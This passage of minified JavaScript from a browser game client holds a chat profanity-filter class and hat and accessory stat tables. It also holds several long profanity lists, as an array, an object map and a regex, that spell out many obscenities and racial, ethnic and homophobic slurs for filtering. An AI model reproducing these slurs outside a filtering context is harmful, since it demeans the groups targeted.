  4767. Object.assign(this, {list: c.emptyList && [] || Array.prototype.concat.apply(J, [T, c.list || []]), exclude: c.exclude || [], placeHolder: c.placeHolder || "*", regex: c.regex || /[^a-zA-Z0-9|\$|\@]|\^/g, replaceRegex: c.replaceRegex || /\w/g});
  4768. }
  4769. ["isProfane"](c) {
  4770. return this.list.filter(L => {
  4771. const s = new RegExp("\\b" + L.replace(/(\W)/g, "\\$1") + "\\b", "gi");
  4772. return !this.exclude.includes(L.toLowerCase()) && s.test(c);
  4773. }).length > 0 || !1;
  4774. }
  4775. ["replaceWord"](c) {
  4776. return c.replace(this.regex, "").replace(this.replaceRegex, this.placeHolder);
  4777. }
  4778. ["clean"](c) {
  4779. return c.split(/\b/).map(L => this.isProfane(L) ? this.replaceWord(L) : L).join("");
  4780. }
  4781. ["addWords"]() {
  4782. let c = Array.from(arguments);
  4783. this.list.push(...c), c.map(L => L.toLowerCase()).forEach(L => {
  4784. this.exclude.includes(L) && this.exclude.splice(this.exclude.indexOf(L), 1);
  4785. });
  4786. }
  4787. ["removeWords"]() {
  4788. this.exclude.push(...Array.from(arguments).map(c => c.toLowerCase()));
  4789. }
  4790. };
  4791. }, function (y) {
  4792. y.exports = {words: ["ahole", "anus", "ash0le", "ash0les", "asholes", "ass", "Ass Monkey", "Assface", "assh0le", "assh0lez", "asshole", "assholes", "assholz", "asswipe", "azzhole", "bassterds", "bastard", "bastards", "bastardz", "basterds", "basterdz", "Biatch", "bitch", "bitches", "Blow Job", "boffing", "butthole", "buttwipe", "c0ck", "c0cks", "c0k", "Carpet Muncher", "cawk", "cawks", "Clit", "cnts", "cntz", "cock", "cockhead", "cock-head", "cocks", "CockSucker", "cock-sucker", "crap", "cum", "cunt", "cunts", "cuntz", "dick", "dild0", "dild0s", "dildo", "dildos", "dilld0", "dilld0s", "dominatricks", "dominatrics", "dominatrix", "dyke", "enema", "f u c k", "f u c k e r", "fag", "fag1t", "faget", "fagg1t", "faggit", "faggot", "fagg0t", "fagit", "fags", "fagz", "faig", "faigs", "fart", "flipping the bird", "fuck", "fucker", "fuckin", "fucking", "fucks", "Fudge Packer", "fuk", "Fukah", "Fuken", "fuker", "Fukin", "Fukk", "Fukkah", "Fukken", "Fukker", "Fukkin", "g00k", "God-damned", "h00r", "h0ar", "h0re", "hells", "hoar", "hoor", "hoore", "jackoff", "jap", "japs", "jerk-off", "jisim", "jiss", "jizm", "jizz", "knob", "knobs", "knobz", "kunt", "kunts", "kuntz", "Lezzian", "Lipshits", "Lipshitz", "masochist", "masokist", "massterbait", "masstrbait", "masstrbate", "masterbaiter", "masterbate", "masterbates", "Motha Fucker", "Motha Fuker", "Motha Fukkah", "Motha Fukker", "Mother Fucker", "Mother Fukah", "Mother Fuker", "Mother Fukkah", "Mother Fukker", "mother-fucker", "Mutha Fucker", "Mutha Fukah", "Mutha Fuker", "Mutha Fukkah", "Mutha Fukker", "n1gr", "nastt", "nigger;", "nigur;", "niiger;", "niigr;", "orafis", "orgasim;", "orgasm", "orgasum", "oriface", "orifice", "orifiss", "packi", "packie", "packy", "paki", "pakie", "paky", "pecker", "peeenus", "peeenusss", "peenus", "peinus", "pen1s", "penas", "penis", "penis-breath", "penus", "penuus", "Phuc", "Phuck", "Phuk", "Phuker", "Phukker", "polac", "polack", "polak", "Poonani", "pr1c", "pr1ck", "pr1k", "pusse", "pussee", "pussy", "puuke", "puuker", "queer", "queers", "queerz", "qweers", "qweerz", "qweir", "recktum", "rectum", "potDmg", "sadist", "scank", "schlong", "screwing", "semen", "sex", "sexy", "Sh!t", "sh1t", "sh1ter", "sh1ts", "sh1tter", "sh1tz", "shit", "shits", "shitter", "Shitty", "Shity", "shitz", "Shyt", "Shyte", "Shytty", "Shyty", "skanck", "skank", "skankee", "skankey", "skanks", "Skanky", "slag", "slut", "sluts", "Slutty", "slutz", "son-of-a-bitch", "tit", "turd", "va1jina", "vag1na", "vagiina", "vagina", "vaj1na", "vajina", "vullva", "vulva", "w0p", "wh00r", "wh0re", "whore", "xrated", "xxx", "b!+ch", "bitch", "blowjob", "clit", "arschloch", "fuck", "shit", "ass", "asshole", "b!tch", "b17ch", "b1tch", "bastard", "bi+ch", "boiolas", "buceta", "c0ck", "cawk", "chink", "cipa", "clits", "cock", "cum", "cunt", "dildo", "dirsa", "ejakulate", "fatass", "fcuk", "fuk", "fux0r", "hoer", "hore", "jism", "kawk", "l3itch", "l3i+ch", "lesbian", "masturbate", "masterbat*", "masterbat3", "motherfucker", "s.o.b.", "mofo", "nazi", "nigga", "nigger", "nutsack", "phuck", "pimpis", "pusse", "pussy", "scrotum", "sh!t", "shemale", "shi+", "sh!+", "slut", "smut", "teets", "tits", "boobs", "b00bs", "teez", "testical", "testicle", "titt", "w00se", "jackoff", "wank", "whoar", "whore", "*damn", "*dyke", "*fuck*", "*shit*", "@$$", "amcik", "andskota", "arse*", "assrammer", "ayir", "bi7ch", "bitch*", "bollock*", "breasts", "butt-pirate", "cabron", "cazzo", "chraa", "chuj", "Cock*", "cunt*", "d4mn", "daygo", "dego", "dick*", "dike*", "dupa", "dziwka", "ejackulate", "Ekrem*", "Ekto", "enculer", "faen", "fag*", "fanculo", "fanny", "feces", "feg", "Felcher", "ficken", "fitt*", "Flikker", "foreskin", "Fotze", "Fu(*", "fuk*", "futkretzn", "gook", "guiena", "h0r", "h4x0r", "hell", "helvete", "hoer*", "honkey", "Huevon", "hui", "injun", "jizz", "kanker*", "kike", "klootzak", "kraut", "knulle", "kuk", "kuksuger", "Kurac", "kurwa", "kusi*", "kyrpa*", "lesbo", "mamhoon", "masturbat*", "merd*", "mibun", "monkleigh", "mouliewop", "muie", "mulkku", "muschi", "nazis", "nepesaurio", "nigger*", "orospu", "paska*", "perse", "picka", "pierdol*", "pillu*", "pimmel", "piss*", "pizda", "poontsee", "poop", "porn", "p0rn", "pr0n", "preteen", "pula", "pule", "puta", "puto", "qahbeh", "queef*", "rautenberg", "schaffer", "scheiss*", "schlampe", "schmuck", "screw", "sh!t*", "sharmuta", "sharmute", "shipal", "shiz", "skribz", "skurwysyn", "sphencter", "spic", "spierdalaj", "splooge", "suka", "b00b*", "testicle*", "titt*", "twat", "vittu", "wank*", "wetback*", "wichser", "wop*", "yed", "zabourah"]};
  4793. }, function (y, V, d) {
  4794. y.exports = {object: d(52), array: d(53), regex: d(54)};
  4795. }, function (y, V) {
  4796. y.exports = {"4r5e": 1, "5h1t": 1, "5hit": 1, a55: 1, anal: 1, anus: 1, ar5e: 1, arrse: 1, arse: 1, ass: 1, "ass-fucker": 1, asses: 1, assfucker: 1, assfukka: 1, asshole: 1, assholes: 1, asswhole: 1, a_s_s: 1, "b!tch": 1, b00bs: 1, b17ch: 1, b1tch: 1, ballbag: 1, balls: 1, ballsack: 1, bastard: 1, beastial: 1, beastiality: 1, bellend: 1, bestial: 1, bestiality: 1, "bi+ch": 1, biatch: 1, bitch: 1, bitcher: 1, bitchers: 1, bitches: 1, bitchin: 1, bitching: 1, bloody: 1, "blow job": 1, blowjob: 1, blowjobs: 1, boiolas: 1, bollock: 1, bollok: 1, boner: 1, boob: 1, boobs: 1, booobs: 1, boooobs: 1, booooobs: 1, booooooobs: 1, breasts: 1, buceta: 1, bugger: 1, bum: 1, "bunny fucker": 1, butt: 1, butthole: 1, buttmuch: 1, buttplug: 1, c0ck: 1, c0cksucker: 1, "carpet muncher": 1, cawk: 1, chink: 1, cipa: 1, cl1t: 1, clit: 1, clitoris: 1, clits: 1, cnut: 1, cock: 1, "cock-sucker": 1, cockface: 1, cockhead: 1, cockmunch: 1, cockmuncher: 1, cocks: 1, cocksuck: 1, cocksucked: 1, cocksucker: 1, cocksucking: 1, cocksucks: 1, cocksuka: 1, cocksukka: 1, cok: 1, cokmuncher: 1, coksucka: 1, coon: 1, cox: 1, crap: 1, cum: 1, cummer: 1, cumming: 1, cums: 1, cumshot: 1, cunilingus: 1, cunillingus: 1, cunnilingus: 1, cunt: 1, cuntlick: 1, cuntlicker: 1, cuntlicking: 1, cunts: 1, cyalis: 1, cyberfuc: 1, cyberfuck: 1, cyberfucked: 1, cyberfucker: 1, cyberfuckers: 1, cyberfucking: 1, d1ck: 1, damn: 1, dick: 1, dickhead: 1, dildo: 1, dildos: 1, dink: 1, dinks: 1, dirsa: 1, dlck: 1, "dog-fucker": 1, doggin: 1, dogging: 1, donkeyribber: 1, doosh: 1, duche: 1, dyke: 1, ejaculate: 1, ejaculated: 1, ejaculates: 1, ejaculating: 1, ejaculatings: 1, ejaculation: 1, ejakulate: 1, "f u c k": 1, "f u c k e r": 1, f4nny: 1, fag: 1, fagging: 1, faggitt: 1, faggot: 1, faggs: 1, fagot: 1, fagots: 1, fags: 1, fanny: 1, fannyflaps: 1, fannyfucker: 1, fanyy: 1, fatass: 1, fcuk: 1, fcuker: 1, fcuking: 1, feck: 1, fecker: 1, felching: 1, fellate: 1, fellatio: 1, fingerfuck: 1, fingerfucked: 1, fingerfucker: 1, fingerfuckers: 1, fingerfucking: 1, fingerfucks: 1, fistfuck: 1, fistfucked: 1, fistfucker: 1, fistfuckers: 1, fistfucking: 1, fistfuckings: 1, fistfucks: 1, flange: 1, fook: 1, fooker: 1, fuck: 1, fucka: 1, fucked: 1, fucker: 1, fuckers: 1, fuckhead: 1, fuckheads: 1, fuckin: 1, fucking: 1, fuckings: 1, fuckingshitmotherfucker: 1, fuckme: 1, fucks: 1, fuckwhit: 1, fuckwit: 1, "fudge packer": 1, fudgepacker: 1, fuk: 1, fuker: 1, fukker: 1, fukkin: 1, fuks: 1, fukwhit: 1, fukwit: 1, fux: 1, fux0r: 1, f_u_c_k: 1, gangbang: 1, gangbanged: 1, gangbangs: 1, gaylord: 1, gaysex: 1, goatse: 1, God: 1, "god-dam": 1, "god-damned": 1, goddamn: 1, goddamned: 1, hardcoresex: 1, hell: 1, heshe: 1, hoar: 1, hoare: 1, hoer: 1, homo: 1, hore: 1, horniest: 1, horny: 1, hotsex: 1, "jack-off": 1, jackoff: 1, jap: 1, "jerk-off": 1, jism: 1, jiz: 1, jizm: 1, jizz: 1, kawk: 1, knob: 1, knobead: 1, knobed: 1, knobend: 1, knobhead: 1, knobjocky: 1, knobjokey: 1, kock: 1, kondum: 1, kondums: 1, kum: 1, kummer: 1, kumming: 1, kums: 1, kunilingus: 1, "l3i+ch": 1, l3itch: 1, labia: 1, lust: 1, lusting: 1, m0f0: 1, m0fo: 1, m45terbate: 1, ma5terb8: 1, ma5terbate: 1, masochist: 1, "master-bate": 1, masterb8: 1, "masterbat*": 1, masterbat3: 1, masterbate: 1, masterbation: 1, masterbations: 1, masturbate: 1, "mo-fo": 1, mof0: 1, mofo: 1, mothafuck: 1, mothafucka: 1, mothafuckas: 1, mothafuckaz: 1, mothafucked: 1, mothafucker: 1, mothafuckers: 1, mothafuckin: 1, mothafucking: 1, mothafuckings: 1, mothafucks: 1, "mother fucker": 1, motherfuck: 1, motherfucked: 1, motherfucker: 1, motherfuckers: 1, motherfuckin: 1, motherfucking: 1, motherfuckings: 1, motherfuckka: 1, motherfucks: 1, muff: 1, mutha: 1, muthafecker: 1, muthafuckker: 1, muther: 1, mutherfucker: 1, n1gga: 1, n1gger: 1, nazi: 1, nigg3r: 1, nigg4h: 1, nigga: 1, niggah: 1, niggas: 1, niggaz: 1, nigger: 1, niggers: 1, nob: 1, "nob jokey": 1, nobhead: 1, nobjocky: 1, nobjokey: 1, numbnuts: 1, nutsack: 1, orgasim: 1, orgasims: 1, orgasm: 1, orgasms: 1, p0rn: 1, pawn: 1, pecker: 1, penis: 1, penisfucker: 1, phonesex: 1, phuck: 1, phuk: 1, phuked: 1, phuking: 1, phukked: 1, phukking: 1, phuks: 1, phuq: 1, pigfucker: 1, pimpis: 1, piss: 1, pissed: 1, pisser: 1, pissers: 1, pisses: 1, pissflaps: 1, pissin: 1, pissing: 1, pissoff: 1, poop: 1, porn: 1, porno: 1, pornography: 1, pornos: 1, prick: 1, pricks: 1, pron: 1, pube: 1, pusse: 1, pussi: 1, pussies: 1, pussy: 1, pussys: 1, rectum: 1, potDmg: 1, rimjaw: 1, rimming: 1, "s hit": 1, "s.o.b.": 1, sadist: 1, schlong: 1, screwing: 1, scroat: 1, scrote: 1, scrotum: 1, semen: 1, sex: 1, "sh!+": 1, "sh!t": 1, sh1t: 1, shag: 1, shagger: 1, shaggin: 1, shagging: 1, shemale: 1, "shi+": 1, shit: 1, shitdick: 1, shite: 1, shited: 1, shitey: 1, shitfuck: 1, shitfull: 1, shithead: 1, shiting: 1, shitings: 1, shits: 1, shitted: 1, shitter: 1, shitters: 1, shitting: 1, shittings: 1, shitty: 1, skank: 1, slut: 1, sluts: 1, smegma: 1, smut: 1, snatch: 1, "son-of-a-bitch": 1, spac: 1, spunk: 1, s_h_i_t: 1, t1tt1e5: 1, t1tties: 1, teets: 1, teez: 1, testical: 1, testicle: 1, tit: 1, titfuck: 1, tits: 1, titt: 1, tittie5: 1, tittiefucker: 1, titties: 1, tittyfuck: 1, tittywank: 1, titwank: 1, tosser: 1, turd: 1, tw4t: 1, twat: 1, twathead: 1, twatty: 1, twunt: 1, twunter: 1, v14gra: 1, v1gra: 1, vagina: 1, viagra: 1, vulva: 1, w00se: 1, wang: 1, wank: 1, wanker: 1, wanky: 1, whoar: 1, whore: 1, willies: 1, willy: 1, xrated: 1, xxx: 1};
  4797. }, function (y, V) {
  4798. y.exports = ["4r5e", "5h1t", "5hit", "a55", "anal", "anus", "ar5e", "arrse", "arse", "ass", "ass-fucker", "asses", "assfucker", "assfukka", "asshole", "assholes", "asswhole", "a_s_s", "b!tch", "b00bs", "b17ch", "b1tch", "ballbag", "balls", "ballsack", "bastard", "beastial", "beastiality", "bellend", "bestial", "bestiality", "bi+ch", "biatch", "bitch", "bitcher", "bitchers", "bitches", "bitchin", "bitching", "bloody", "blow job", "blowjob", "blowjobs", "boiolas", "bollock", "bollok", "boner", "boob", "boobs", "booobs", "boooobs", "booooobs", "booooooobs", "breasts", "buceta", "bugger", "bum", "bunny fucker", "butt", "butthole", "buttmuch", "buttplug", "c0ck", "c0cksucker", "carpet muncher", "cawk", "chink", "cipa", "cl1t", "clit", "clitoris", "clits", "cnut", "cock", "cock-sucker", "cockface", "cockhead", "cockmunch", "cockmuncher", "cocks", "cocksuck", "cocksucked", "cocksucker", "cocksucking", "cocksucks", "cocksuka", "cocksukka", "cok", "cokmuncher", "coksucka", "coon", "cox", "crap", "cum", "cummer", "cumming", "cums", "cumshot", "cunilingus", "cunillingus", "cunnilingus", "cunt", "cuntlick", "cuntlicker", "cuntlicking", "cunts", "cyalis", "cyberfuc", "cyberfuck", "cyberfucked", "cyberfucker", "cyberfuckers", "cyberfucking", "d1ck", "damn", "dick", "dickhead", "dildo", "dildos", "dink", "dinks", "dirsa", "dlck", "dog-fucker", "doggin", "dogging", "donkeyribber", "doosh", "duche", "dyke", "ejaculate", "ejaculated", "ejaculates", "ejaculating", "ejaculatings", "ejaculation", "ejakulate", "f u c k", "f u c k e r", "f4nny", "fag", "fagging", "faggitt", "faggot", "faggs", "fagot", "fagots", "fags", "fanny", "fannyflaps", "fannyfucker", "fanyy", "fatass", "fcuk", "fcuker", "fcuking", "feck", "fecker", "felching", "fellate", "fellatio", "fingerfuck", "fingerfucked", "fingerfucker", "fingerfuckers", "fingerfucking", "fingerfucks", "fistfuck", "fistfucked", "fistfucker", "fistfuckers", "fistfucking", "fistfuckings", "fistfucks", "flange", "fook", "fooker", "fuck", "fucka", "fucked", "fucker", "fuckers", "fuckhead", "fuckheads", "fuckin", "fucking", "fuckings", "fuckingshitmotherfucker", "fuckme", "fucks", "fuckwhit", "fuckwit", "fudge packer", "fudgepacker", "fuk", "fuker", "fukker", "fukkin", "fuks", "fukwhit", "fukwit", "fux", "fux0r", "f_u_c_k", "gangbang", "gangbanged", "gangbangs", "gaylord", "gaysex", "goatse", "God", "god-dam", "god-damned", "goddamn", "goddamned", "hardcoresex", "hell", "heshe", "hoar", "hoare", "hoer", "homo", "hore", "horniest", "horny", "hotsex", "jack-off", "jackoff", "jap", "jerk-off", "jism", "jiz", "jizm", "jizz", "kawk", "knob", "knobead", "knobed", "knobend", "knobhead", "knobjocky", "knobjokey", "kock", "kondum", "kondums", "kum", "kummer", "kumming", "kums", "kunilingus", "l3i+ch", "l3itch", "labia", "lust", "lusting", "m0f0", "m0fo", "m45terbate", "ma5terb8", "ma5terbate", "masochist", "master-bate", "masterb8", "masterbat*", "masterbat3", "masterbate", "masterbation", "masterbations", "masturbate", "mo-fo", "mof0", "mofo", "mothafuck", "mothafucka", "mothafuckas", "mothafuckaz", "mothafucked", "mothafucker", "mothafuckers", "mothafuckin", "mothafucking", "mothafuckings", "mothafucks", "mother fucker", "motherfuck", "motherfucked", "motherfucker", "motherfuckers", "motherfuckin", "motherfucking", "motherfuckings", "motherfuckka", "motherfucks", "muff", "mutha", "muthafecker", "muthafuckker", "muther", "mutherfucker", "n1gga", "n1gger", "nazi", "nigg3r", "nigg4h", "nigga", "niggah", "niggas", "niggaz", "nigger", "niggers", "nob", "nob jokey", "nobhead", "nobjocky", "nobjokey", "numbnuts", "nutsack", "orgasim", "orgasims", "orgasm", "orgasms", "p0rn", "pawn", "pecker", "penis", "penisfucker", "phonesex", "phuck", "phuk", "phuked", "phuking", "phukked", "phukking", "phuks", "phuq", "pigfucker", "pimpis", "piss", "pissed", "pisser", "pissers", "pisses", "pissflaps", "pissin", "pissing", "pissoff", "poop", "porn", "porno", "pornography", "pornos", "prick", "pricks", "pron", "pube", "pusse", "pussi", "pussies", "pussy", "pussys", "rectum", "potDmg", "rimjaw", "rimming", "s hit", "s.o.b.", "sadist", "schlong", "screwing", "scroat", "scrote", "scrotum", "semen", "sex", "sh!+", "sh!t", "sh1t", "shag", "shagger", "shaggin", "shagging", "shemale", "shi+", "shit", "shitdick", "shite", "shited", "shitey", "shitfuck", "shitfull", "shithead", "shiting", "shitings", "shits", "shitted", "shitter", "shitters", "shitting", "shittings", "shitty", "skank", "slut", "sluts", "smegma", "smut", "snatch", "son-of-a-bitch", "spac", "spunk", "s_h_i_t", "t1tt1e5", "t1tties", "teets", "teez", "testical", "testicle", "tit", "titfuck", "tits", "titt", "tittie5", "tittiefucker", "titties", "tittyfuck", "tittywank", "titwank", "tosser", "turd", "tw4t", "twat", "twathead", "twatty", "twunt", "twunter", "v14gra", "v1gra", "vagina", "viagra", "vulva", "w00se", "wang", "wank", "wanker", "wanky", "whoar", "whore", "willies", "willy", "xrated", "xxx"];
  4799. }, function (y, V) {
  4800. y.exports = /\b(4r5e|5h1t|5hit|a55|anal|anus|ar5e|arrse|arse|ass|ass-fucker|asses|assfucker|assfukka|asshole|assholes|asswhole|a_s_s|b!tch|b00bs|b17ch|b1tch|ballbag|balls|ballsack|bastard|beastial|beastiality|bellend|bestial|bestiality|bi\+ch|biatch|bitch|bitcher|bitchers|bitches|bitchin|bitching|bloody|blow job|blowjob|blowjobs|boiolas|bollock|bollok|boner|boob|boobs|booobs|boooobs|booooobs|booooooobs|breasts|buceta|bugger|bum|bunny fucker|butt|butthole|buttmuch|buttplug|c0ck|c0cksucker|carpet muncher|cawk|chink|cipa|cl1t|clit|clitoris|clits|cnut|cock|cock-sucker|cockface|cockhead|cockmunch|cockmuncher|cocks|cocksuck|cocksucked|cocksucker|cocksucking|cocksucks|cocksuka|cocksukka|cok|cokmuncher|coksucka|coon|cox|crap|cum|cummer|cumming|cums|cumshot|cunilingus|cunillingus|cunnilingus|cunt|cuntlick|cuntlicker|cuntlicking|cunts|cyalis|cyberfuc|cyberfuck|cyberfucked|cyberfucker|cyberfuckers|cyberfucking|d1ck|damn|dick|dickhead|dildo|dildos|dink|dinks|dirsa|dlck|dog-fucker|doggin|dogging|donkeyribber|doosh|duche|dyke|ejaculate|ejaculated|ejaculates|ejaculating|ejaculatings|ejaculation|ejakulate|f u c k|f u c k e r|f4nny|fag|fagging|faggitt|faggot|faggs|fagot|fagots|fags|fanny|fannyflaps|fannyfucker|fanyy|fatass|fcuk|fcuker|fcuking|feck|fecker|felching|fellate|fellatio|fingerfuck|fingerfucked|fingerfucker|fingerfuckers|fingerfucking|fingerfucks|fistfuck|fistfucked|fistfucker|fistfuckers|fistfucking|fistfuckings|fistfucks|flange|fook|fooker|fuck|fucka|fucked|fucker|fuckers|fuckhead|fuckheads|fuckin|fucking|fuckings|fuckingshitmotherfucker|fuckme|fucks|fuckwhit|fuckwit|fudge packer|fudgepacker|fuk|fuker|fukker|fukkin|fuks|fukwhit|fukwit|fux|fux0r|f_u_c_k|gangbang|gangbanged|gangbangs|gaylord|gaysex|goatse|God|god-dam|god-damned|goddamn|goddamned|hardcoresex|hell|heshe|hoar|hoare|hoer|homo|hore|horniest|horny|hotsex|jack-off|jackoff|jap|jerk-off|jism|jiz|jizm|jizz|kawk|knob|knobead|knobed|knobend|knobhead|knobjocky|knobjokey|kock|kondum|kondums|kum|kummer|kumming|kums|kunilingus|l3i\+ch|l3itch|labia|lust|lusting|m0f0|m0fo|m45terbate|ma5terb8|ma5terbate|masochist|master-bate|masterb8|masterbat*|masterbat3|masterbate|masterbation|masterbations|masturbate|mo-fo|mof0|mofo|mothafuck|mothafucka|mothafuckas|mothafuckaz|mothafucked|mothafucker|mothafuckers|mothafuckin|mothafucking|mothafuckings|mothafucks|mother fucker|motherfuck|motherfucked|motherfucker|motherfuckers|motherfuckin|motherfucking|motherfuckings|motherfuckka|motherfucks|muff|mutha|muthafecker|muthafuckker|muther|mutherfucker|n1gga|n1gger|nazi|nigg3r|nigg4h|nigga|niggah|niggas|niggaz|nigger|niggers|nob|nob jokey|nobhead|nobjocky|nobjokey|numbnuts|nutsack|orgasim|orgasims|orgasm|orgasms|p0rn|pawn|pecker|penis|penisfucker|phonesex|phuck|phuk|phuked|phuking|phukked|phukking|phuks|phuq|pigfucker|pimpis|piss|pissed|pisser|pissers|pisses|pissflaps|pissin|pissing|pissoff|poop|porn|porno|pornography|pornos|prick|pricks|pron|pube|pusse|pussi|pussies|pussy|pussys|rectum|potDmg|rimjaw|rimming|s hit|s.o.b.|sadist|schlong|screwing|scroat|scrote|scrotum|semen|sex|sh!\+|sh!t|sh1t|shag|shagger|shaggin|shagging|shemale|shi\+|shit|shitdick|shite|shited|shitey|shitfuck|shitfull|shithead|shiting|shitings|shits|shitted|shitter|shitters|shitting|shittings|shitty|skank|slut|sluts|smegma|smut|snatch|son-of-a-bitch|spac|spunk|s_h_i_t|t1tt1e5|t1tties|teets|teez|testical|testicle|tit|titfuck|tits|titt|tittie5|tittiefucker|titties|tittyfuck|tittywank|titwank|tosser|turd|tw4t|twat|twathead|twatty|twunt|twunter|v14gra|v1gra|vagina|viagra|vulva|w00se|wang|wank|wanker|wanky|whoar|whore|willies|willy|xrated|xxx)\b/gi;
  4801. }, function (y, V) {
  4802. y.exports.hats = [{id: 45, name: "Shame!", price: 0, scale: 120, desc: "hacks are for losers"}, {id: 51, name: "Moo Cap", price: 0, scale: 120, desc: "coolest mooer around"}, {id: 50, name: "Apple Cap", price: 0, scale: 120, desc: "apple farms remembers"}, {id: 28, name: "Moo Head", price: 0, scale: 120, desc: "no effect"}, {id: 29, name: "Pig Head", price: 0, scale: 120, desc: "no effect"}, {id: 30, name: "Fluff Head", price: 0, scale: 120, desc: "no effect"}, {id: 36, name: "Pandou Head", price: 0, scale: 120, desc: "no effect"}, {id: 37, name: "Bear Head", price: 0, scale: 120, desc: "no effect"}, {id: 38, name: "Monkey Head", price: 0, scale: 120, desc: "no effect"}, {id: 44, name: "Polar Head", price: 0, scale: 120, desc: "no effect"}, {id: 35, name: "Fez Hat", price: 0, scale: 120, desc: "no effect"}, {id: 42, name: "Enigma Hat", price: 0, scale: 120, desc: "join the enigma army"}, {id: 43, name: "Blitz Hat", price: 0, scale: 120, desc: "hey everybody i'm blitz"}, {id: 49, name: "Bob XIII Hat", price: 0, scale: 120, desc: "like and subscribe"}, {id: 57, name: "Pumpkin", price: 50, scale: 120, desc: "Spooooky"}, {id: 8, name: "Bummle Hat", price: 100, scale: 120, desc: "no effect"}, {id: 2, name: "Straw Hat", price: 500, scale: 120, desc: "no effect"}, {id: 15, name: "Winter Cap", price: 600, scale: 120, desc: "allows you to move at normal speed in snow", coldM: 1}, {id: 5, name: "Cowboy Hat", price: 1e3, scale: 120, desc: "no effect"}, {id: 4, name: "Ranger Hat", price: 2e3, scale: 120, desc: "no effect"}, {id: 18, name: "Explorer Hat", price: 2e3, scale: 120, desc: "no effect"}, {id: 31, name: "Flipper Hat", price: 2500, scale: 120, desc: "have more control while in water", watrImm: !0}, {id: 1, name: "Marksman Cap", price: 3e3, scale: 120, desc: "increases arrow speed and range", aMlt: 1.3}, {id: 10, name: "Bush Gear", price: 3e3, scale: 160, desc: "allows you to disguise yourself as a bush"}, {id: 48, name: "Halo", price: 3e3, scale: 120, desc: "no effect"}, {id: 6, name: "Soldier Helmet", price: 4e3, scale: 120, desc: "reduces damage taken but slows movement", spdMult: 0.94, dmgMult: 0.75}, {id: 23, name: "Anti Venom Gear", price: 4e3, scale: 120, desc: "makes you immune to poison", poisonRes: 1}, {id: 13, name: "Medic Gear", price: 5e3, scale: 110, desc: "slowly regenerates health over time", healthRegen: 3}, {id: 9, name: "Miners Helmet", price: 5e3, scale: 120, desc: "earn 1 extra gold per resource", extraGold: 1}, {id: 32, name: "Musketeer Hat", price: 5e3, scale: 120, desc: "reduces cost of projectiles", projCost: 0.5}, {id: 7, name: "Bull Helmet", price: 6e3, scale: 120, desc: "increases damage done but drains health", healthRegen: -5, dmgMultO: 1.5, spdMult: 0.96}, {id: 22, name: "Emp Helmet", price: 6e3, scale: 120, desc: "Turrets won't attack but you move slower", antiTurret: 1, spdMult: 0.7}, {id: 12, name: "Booster Hat", price: 6e3, scale: 120, desc: "increases your movement speed", spdMult: 1.16}, {id: 26, name: "Barbarian Armor", price: 8e3, scale: 120, desc: "knocks back enemies that attack you", dmgK: 0.6}, {id: 21, name: "Plague Mask", price: 1e4, scale: 120, desc: "melee heals deal poison damage", poisonDmg: 5, poisonTime: 6}, {id: 46, name: "Bull Mask", price: 1e4, scale: 120, desc: "bulls won't target you unless you attack them", bullRepel: 1}, {id: 14, name: "Windmill Hat", topSprite: !0, price: 1e4, scale: 120, desc: "generates points while worn", pps: 1.5}, {id: 11, name: "Spike Gear", topSprite: !0, price: 1e4, scale: 120, desc: "deal damage to players that damage you", dmg: 0.45}, {id: 53, name: "Turret Gear", topSprite: !0, price: 1e4, scale: 120, desc: "you become a walking turret", turret: {proj: 1, range: 700, rate: 2500}, spdMult: 0.7}, {id: 20, name: "Samurai Armor", price: 12e3, scale: 120, desc: "increased heal speed and fire rate", atkSpd: 0.78}, {id: 58, name: "Dark Knight", price: 12e3, scale: 120, desc: "restores health when you deal damage", healD: 0.4}, {id: 27, name: "Scavenger Gear", price: 15e3, scale: 120, desc: "earn double points for each kill", kScrM: 2}, {id: 40, name: "Tank Gear", price: 15e3, scale: 120, desc: "increased damage to buildings but slower movement", spdMult: 0.3, bDmg: 3.3}, {id: 52, name: "Thief Gear", price: 15e3, scale: 120, desc: "steal half of a players gold when you kill them", goldSteal: 0.5}, {id: 55, name: "Bloodthirster", price: 2e4, scale: 120, desc: "Restore Health when dealing damage. And increased damage", healD: 0.25, dmgMultO: 1.2}, {id: 56, name: "Assassin Gear", price: 2e4, scale: 120, desc: "Go invisible when not moving. Can't eat. Increased speed", noEat: !0, spdMult: 1.1, invisTimer: 1e3}], y.exports.accessories = [{id: 12, name: "Snowball", price: 1e3, scale: 105, xOff: 18, desc: "no effect"}, {id: 9, name: "Tree Cape", price: 1e3, scale: 90, desc: "no effect"}, {id: 10, name: "Stone Cape", price: 1e3, scale: 90, desc: "no effect"}, {id: 3, name: "Cookie Cape", price: 1500, scale: 90, desc: "no effect"}, {id: 8, name: "Cow Cape", price: 2e3, scale: 90, desc: "no effect"}, {id: 11, name: "Monkey Tail", price: 2e3, scale: 97, xOff: 25, desc: "Super speed but reduced damage", spdMult: 1.35, dmgMultO: 0.2}, {id: 17, name: "Apple Basket", price: 3e3, scale: 80, xOff: 12, desc: "slowly regenerates health over time", healthRegen: 1}, {id: 6, name: "Winter Cape", price: 3e3, scale: 90, desc: "no effect"}, {id: 4, name: "Skull Cape", price: 4e3, scale: 90, desc: "no effect"}, {id: 5, name: "Dash Cape", price: 5e3, scale: 90, desc: "no effect"}, {id: 2, name: "Dragon Cape", price: 6e3, scale: 90, desc: "no effect"}, {id: 1, name: "Super Cape", price: 8e3, scale: 90, desc: "no effect"}, {id: 7, name: "Troll Cape", price: 8e3, scale: 90, desc: "no effect"}, {id: 14, name: "Thorns", price: 1e4, scale: 115, xOff: 20, desc: "no effect"}, {id: 15, name: "Blockades", price: 1e4, scale: 95, xOff: 15, desc: "no effect"}, {id: 20, name: "Devils Tail", price: 1e4, scale: 95, xOff: 20, desc: "no effect"}, {id: 16, name: "Sawblade", price: 12e3, scale: 90, spin: !0, xOff: 0, desc: "deal damage to players that damage you", dmg: 0.15}, {id: 13, name: "Angel Wings", price: 15e3, scale: 138, xOff: 22, desc: "slowly regenerates health over time", healthRegen: 3}, {id: 19, name: "Shadow Wings", price: 15e3, scale: 138, xOff: 22, desc: "increased movement speed", spdMult: 1.1}, {id: 18, name: "Blood Wings", price: 2e4, scale: 178, xOff: 26, desc: "restores health when you deal damage", healD: 0.2}, {id: 21, name: "Corrupt X Wings", price: 2e4, scale: 178, xOff: 26, desc: "deal damage to players that damage you", dmg: 0.25}];
  4803. }, function (y, V) {
  4804. y.exports = function (d, J, T, L, p, U, G) {
  4805. this.init = function (g, H, N, h, X, F, Z, z, O) {
